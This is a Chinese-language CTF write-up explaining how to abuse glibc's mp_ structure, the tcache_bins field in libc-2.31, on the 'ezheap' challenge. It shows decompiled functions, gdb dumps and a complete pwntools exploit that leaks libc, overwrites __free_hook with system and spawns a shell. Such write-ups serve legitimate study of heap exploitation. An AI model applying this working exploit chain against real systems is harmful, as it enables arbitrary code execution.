tcache bin中mp_结构体利用
tcache bin中mp_结构体利用
最近在源鲁杯和网鼎杯看见了
在这写一下
mp_结构体
pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x0,
tcache_bins = 64, #记录tcache bin的最大索引值
tcache_max_bytes = 1032,
tcache_count = 7, #每条单链表上最多7个chunk
tcache_unsorted_limit = 0
}
利用
mp_结构体主要是通过修改其中的tcache_bins
来实现扩大tcache能够申请到的bin范围,并在对应偏移处写入需要申请出来的地址,从而使得申请到诸如__free_hook
的特殊地址。
例题-ezheap
add
unsigned __int64 add_chunk()
{
int v0; // ebx
int v1; // ebx
char buf[24]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)chunk_index > 0x20 )
exit(0);
if ( *((_QWORD *)&ptr + chunk_index) )
{
puts("error");
exit(0);
}
puts("Size :");
read(0, buf, 8uLL);
if ( atoi(buf) > 0x1000 || atoi(buf) <= 144 )
{
puts("error");
exit(1);
}
v0 = chunk_index;
chunk_length[v0] = atoi(buf);
v1 = chunk_index;
*((_QWORD *)&ptr + v1) = malloc((int)chunk_length[chunk_index]);
puts("Content :");
read(0, *((void **)&ptr + chunk_index), chunk_length[chunk_index]);
++chunk_index;
return __readfsqword(0x28u) ^ v4;
}
del
unsigned __int64 delete_chunk()
{
int v1[27]; // [rsp+Ch] [rbp-74h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index :");
__isoc99_scanf("%d", v1);
free(*((void **)&ptr + v1[0]));
*((_QWORD *)&ptr + v1[0]) = 0LL;
return __readfsqword(0x28u) ^ v2;
}
edit
unsigned __int64 edit_chunk()
{
_DWORD *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("one chance for you");
if ( a )
exit(1);
puts("content :");
read(0, &buf, 8uLL);
*buf = 666666;
++a;
return __readfsqword(0x28u) ^ v2;
}
可以看到edit并不能任意地址写shell
在这我们有一个任意地址写666666这个数字的能力
想到了mp_结构体(拓展tcache)
当mp_.tcache_bins足够大的时候,我们是可以将一个大chunk放进tcache bin中的
tcache结构体是存放在堆上的(通常是heap中的第一个堆块)
只是由于tcache分配在堆上,这个索引值又太大,所以这个大chunk的地址(链表头)会被放进相邻的chunk中
调试
泄露libc_base
add(0x410,b'a') #1
add(0x100,b'a') #2
free(1)
add(0x100,b'a'*8) #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecfd0
因为此题版本是libc-2.31的 所以在此申请了0x410大小的堆快来泄露libc
计算mp_结构体偏移,修改tcache_bins为66666
先看一下tcachebins是在mp+80位置的
0x7f718891f280 <mp_>: 0x0000000000020000 0x0000000000020000
0x7f718891f290 <mp_+16>: 0x0000000000020000 0x0000000000000008
0x7f718891f2a0 <mp_+32>: 0x0000000000000000 0x0001000000000000
0x7f718891f2b0 <mp_+48>: 0x0000000000000000 0x0000000000000000
0x7f718891f2c0 <mp_+64>: 0x0000000000000000 0x00005635089be000
0x7f718891f2d0 <mp_+80>: 0x0000000000000040 0x0000000000000408
0x7f718891f2e0 <mp_+96>: 0x0000000000000007 0x0000000000000000
0x7f718891f2f0 <obstack_exit_failure>: 0x0000000000000001 0x0000000001800000
0x7f718891f300 <__x86_raw_shared_cache_size_half>: 0x0000000000c00000 0x0000000001800000
0x7f718891f310 <__x86_shared_cache_size_half>: 0x0000000000c00000 0x000000000000c000
0x7f718891f320 <__x86_raw_data_cache_size_half>: 0x0000000000006000 0x000000000000c000
0x7f718891f330 <__x86_data_cache_size_half>: 0x0000000000006000 0x0000003f000007d0
0x7f718891f340 <opterr>: 0x0000000100000001 0x00000008000000ff
0x7f718891f350 <LogFile>: 0x00000002ffffffff 0x00000000ffffffff
0x7f718891f360 <_gmonparam>: 0x0000000000000003 0x0000000000000000
因此
mp_addr = libc_base+0x1ec280+0x50
计算出mp_结构体的位置后,我们就可以着手劫持free_hook
执行system(/bin/sh)了
此时我们放入tcache的大chunk位置
覆盖为__free_hook后
payload
payload = cyclic(0x68)+p64(free_hook)
free(0)
add(0x100,payload)
add(0x500,p64(sys))
add(0x100,b'/bin/sh\x00')
free(7)
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
context.terminal = ['gnome-terminal','-x','sh','-c']
def add(sz,con) :
io.sendlineafter('choice',str(1))
io.sendlineafter(':',str(sz))
io.sendafter(':',con)
def show(idx) :
io.sendlineafter('choice\n',str(4))
io.sendlineafter(':',str(idx))
def free(idx) :
io.sendlineafter('choice\n',str(2))
io.sendlineafter(':',str(idx))
def edit(addr) :
io.sendlineafter('choice\n',str(3))
io.sendlineafter(':',p64(addr))
add(0x100,b'a') #0
add(0x410,b'a') #1
add(0x100,b'a') #2
free(1)
add(0x100,b'a'*8) #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecfd0
free_hook = libc_base+libc.sym['__free_hook']
sys = libc_base+libc.sym['system']
print(hex(libc_base))
mp_addr = libc_base+0x1ec280+0x50
print('mp:'+hex(mp_addr))
edit(mp_addr)
add(0x500,b'a')
free(4)
#duan()
payload = cyclic(0x68)+p64(free_hook)
free(0)
add(0x100,payload)
#duan()
add(0x500,p64(sys))
#duan()
add(0x100,b'/bin/sh\x00')
free(7)
io.interactive()
0 条评论
可输入 255 字